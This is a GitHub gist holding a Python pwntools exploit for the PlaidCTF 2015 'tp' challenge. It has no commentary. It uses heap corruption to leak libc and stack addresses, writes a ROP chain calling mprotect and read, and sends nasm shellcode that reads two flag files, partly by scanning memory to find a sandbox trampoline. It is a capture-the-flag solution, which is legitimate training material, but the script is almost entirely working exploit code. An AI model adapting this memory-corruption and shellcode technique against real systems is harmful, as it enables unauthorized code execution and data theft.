Skip to content

Instantly share code, notes, and snippets.

@rekkusu
Created September 21, 2016 18:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save rekkusu/7618813b7943dc4dc46934558ded301e to your computer and use it in GitHub Desktop.
Save rekkusu/7618813b7943dc4dc46934558ded301e to your computer and use it in GitHub Desktop.
PlaidCTF 2015 - tp
from pwn import *
# local libc
libc_data = 0x1bb000
libc_main_arena = libc_data + 0x203760
libc_environ = libc_data + 0x2064a0
libc_gadget = {
'poprdi': 0x22b1a,
'poprsi': 0x24805,
'poprdx': 0x1b8e,
'mprotect': 0xf4a20,
'read': 0xeb800,
}
retaddr_rel = 0x168
def asm(code):
import os
f = open('shellcode.S', 'w')
f.write(code)
f.close()
if os.system('nasm shellcode.S') != 0:
log.error('compile error')
return open('shellcode', 'rb').read()
def cmd_new(s, size):
s.send(p32(0))
s.send(p64(size))
num = s.recv(4)
log.info('new\t=> (%d, %d)' % (u32(num), size))
def cmd_write(s, num, data, noread=False):
s.send(p32(1))
s.send(p32(num))
s.send(p64(len(data)))
s.send(data)
if noread:
r = -1
log.info('write\t=> (%d, -)' % (num))
else:
r = s.recv(4)
log.info('write\t=> (%d, %d)' % (num, u32(r)))
def cmd_read(s, num, size):
s.send(p32(2))
s.send(p32(num))
s.send(p64(size))
data = s.recv(size)
r = s.recv(4)
log.info('read\t=> (%d, %d)' % (num, u32(r)))
log.info('\t\t' + data.encode('hex'))
return data
def cmd_free(s, num):
s.send(p32(3))
s.send(p32(num))
r = s.recv(4)
log.info('free\t=> (%d, %d)' % (num, u32(r)))
def cmd_delete(s, num):
s.send(p32(4))
s.send(p32(num))
r = s.recv(4)
log.info('delete\t=> (%d, %d)' % (num, u32(r)))
s = remote('', 0)
cmd_new(s, 1)
cmd_new(s, 1)
cmd_new(s, 0xffffffffffffffff)
cmd_new(s, 0xffffffffffffffff)
cmd_free(s, 1)
cmd_new(s, 0x28)
cmd_new(s, 2048)
cmd_write(s, 1, p64(256) + '\x88\x08')
main_arena = u64(cmd_read(s, 256, 8))
libc_base = main_arena - libc_main_arena
log.info('main_arena: ' + hex(main_arena))
log.info('libc_base: ' + hex(libc_base))
cmd_write(s, 1, p64(256) + '\x00\x01')
thread_arena_base = u64(cmd_read(s, 256, 8)) - 0xe8
log.info('thread_arena_base: ' + hex(thread_arena_base))
cmd_write(s, 1, p64(256) + p64(libc_base + libc_environ))
stack_env = u64(cmd_read(s, 256, 8)) - 0xe8
retaddr = stack_env - retaddr_rel
log.info('stack_env: ' + hex(stack_env))
log.info('retaddr: ' + hex(retaddr))
cmd_write(s, 1, p64(256) + p64(retaddr))
payload = ''.join(map(p64, [
libc_base + libc_gadget['poprdi'], thread_arena_base,
libc_base + libc_gadget['poprsi'], 0x1000,
libc_base + libc_gadget['poprdx'], 0x7,
libc_base + libc_gadget['mprotect'],
libc_base + libc_gadget['poprdi'], 0x0,
libc_base + libc_gadget['poprsi'], thread_arena_base,
libc_base + libc_gadget['poprdx'], 0x1000,
libc_base + libc_gadget['read'],
thread_arena_base
]))
cmd_write(s, 256, payload, True)
sc = '''
BITS 64
main:
call get_flag1
call get_flag2
xor rdi, rdi
call exit
get_flag1:
lea rdi, [rel flag1]
xor rsi, rsi
xor rdx, rdx
call open
mov rdi, rax
call readflag
ret
readflag:
mov rsi, {buf}
mov rdx, 0x100
call read
mov rdi, 1
mov rsi, {buf}
mov rdx, rax
call write
ret
get_flag2:
fill:
mov rdi, [rel fill_start]
mov rsi, [rel fill_size]
mov rdx, 0
mov r10, 0x22
mov r8, -1
mov r9, 0
call mmap
cmp rax, 0
jle fill_fail
cmp rax, rdi
jne fill_fail
call munmap
mov rax, [rel fill_start]
mov rbx, [rel fill_size]
add rax, rbx
mov [rel fill_start], rax
jmp fill
fill_fail:
mov rax, [rel fill_size]
cmp rax, 0x1000
je fill_end
shr rax, 4
mov [rel fill_size], rax
mov rbx, [rel fill_start]
add rbx, rax
mov [rel fill_start], rbx
jmp fill
fill_end:
mov rax, [rel fill_start]
mov [rel area_base], rax
mov ebx, dword [rax]
cmp ebx, 0x48d4ff41
je found
add rax, 0x4000 ; skip allocated page
mov [rel fill_start], rax
mov rax, [rel fill_size2]
mov [rel fill_size], rax
jmp fill
found:
mov rbx, [rel area_base]
add rbx, 0xb0
lea rdi, [rel flag2]
xor rsi, rsi
xor rdx, rdx
mov rax, 2
call rbx
mov rdi, rax
call readflag
ret
read:
xor rax, rax
syscall
ret
write:
mov rax, 1
syscall
ret
open:
mov rax, 2
syscall
ret
mmap:
mov rax, 9
syscall
ret
munmap:
mov rax, 11
syscall
ret
exit:
mov rax, 231
syscall
area_base dq 0
fill_start dq 0x10000000
fill_size dq 0x100000000
fill_size2 dq 0x100000000
flag1 db '/home/tp/flag1', 0
flag2 db '/home/tp/flag2', 0
'''.format(buf=thread_arena_base + 0x1000)
s.send(asm(sc))
s.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment